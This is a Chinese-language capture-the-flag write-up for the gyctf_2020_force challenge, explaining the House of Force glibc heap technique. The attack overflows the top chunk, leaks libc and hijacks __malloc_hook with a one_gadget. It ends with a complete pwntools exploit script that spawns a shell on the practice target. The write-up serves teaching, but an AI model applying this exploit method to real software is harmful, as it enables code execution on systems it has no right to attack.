堆溢出|House of force —— gyctf_2020_force

前言: House of force是属于House of xxx系列的利用方法,House of xxx是2004年《The Malloc Maleficarum-Glibc Malloc Exploitation Techniques》中提出的一系列针对glibc堆分配机制的利用方法。
想要利用House of force,需要以下条件:
1.能够以溢出等方式控制top chunk的size域。
2.能够自由的分配堆的大小
解题思路 保护机制 堆溢出|House of force —— gyctf_2020_force
文章图片

保护全开,64位。
IDA查看伪代码 堆溢出|House of force —— gyctf_2020_force
文章图片

程序有两个功能,一个是添加,一个是输出,其中输出并没有输出任何东西,我们也就不看。
我们重点来看添加函数:
堆溢出|House of force —— gyctf_2020_force
文章图片

关于添加函数,堆的分配大小是随便我们设置的,并没有任何限制。并且,无论我们分配多大的堆块,我们都只能写0x50大小的数据,也就是说我们分配小一点的堆块就可以造成溢出。
在分配完堆块之后,程序会把堆头的位置告诉我们,关于这一点,我们想到能不能用这个来泄露堆的基址呢?如果能泄露,我们是不是可以直接利用unlink来劫持堆块的指针,从而达到getshell。
但是由于程序开了PIE,我们每次泄露的堆头地址都和堆结构体距离不同,这样的话,我们就不能用以上思路来解题了。
思路总结 条件分析
既然题目提示了使用house of force,我们就不再犹豫了。
第一个条件,我们只要分配小一点的堆块我们就可以溢出改写topchunk的size。
第二个条件,程序本身就可以分配任意大小的堆块,并没有任何限制。
这样,这个程序就可以用house of force来攻击。
攻击链路
我们首先分配一个稍微大一点的堆块,程序就会用mmap映射一段地址,而libc就在这段地址的下面一位,这样我们就可以利用固定的偏移来泄露libc的基址了。
堆溢出|House of force —— gyctf_2020_force
文章图片

得到libc基址后我们就想着劫持malloc_hook了(因为程序开了Full RELRO,我们不能劫持GOT表)。
我们就分配一个非常大的堆块,让我们堆块的下面就是malloc的地址,这样我们再次分配的时候,我们就可以来改写malloc_hook处的地址了。
完整exp:

#! /usr/bin/env python from pwn import *p = process('./gyctf_2020_force') #p = remote('node3.buuoj.cn', 27255) elf = ELF('./gyctf_2020_force') libc = ELF('./libc.so.6')def new(size, content): p.sendlineafter('2:puts\n', '1') p.sendlineafter('size\n', str(size)) p.recvuntil('addr ') heap = int(p.recv(14), 16) p.sendlineafter('content\n', content) return heaplibc_base = new(0x200000, 'aaa') + 0x200ff0 print 'libc_base : ' + hex(libc_base) heap_base = new(0x18, 'a' * 0x10 + p64(0) + p64(0xFFFFFFFFFFFFFFFF)) print 'heap_base : ' + hex(heap_base) top = heap_base + 0x10 malloc_hook = libc.sym['__malloc_hook'] + libc_base offset = malloc_hook - top print 'offset : ' + hex(offset) realloc = libc.sym['__libc_realloc'] + libc_baseonegadget = [0x45216, 0x4526a, 0xf0274, 0xf1117] one = onegadget[1] + libc_base new(offset - 0x33, 'a' * 0x8) new(0x10, 'a' * 0x8 + p64(one) + p64(realloc + 0x10))p.sendlineafter('2:puts\n', '1') p.sendlineafter('size\n', str(0x40)) p.interactive()

【堆溢出|House of force —— gyctf_2020_force】我们这里稍微解释一下,为什么offset要减去0x33。
老pwn狗都知道,当我们分配fastbin范围的堆块时,分配的地址处必须要有对应的大小才能通过检测。
做fastbin attack做的多了,我们自然就知道在libc2.23的malloc_hook - 0x23处有一个0x7f的数值,这里貌似用不到,但是,我们分配距离0x33就是为了不让top chunk的size位不覆盖到他,这样方便绕过检测。
最后我们使用realloc来调节栈帧使得one_gadget可以使用。

    推荐阅读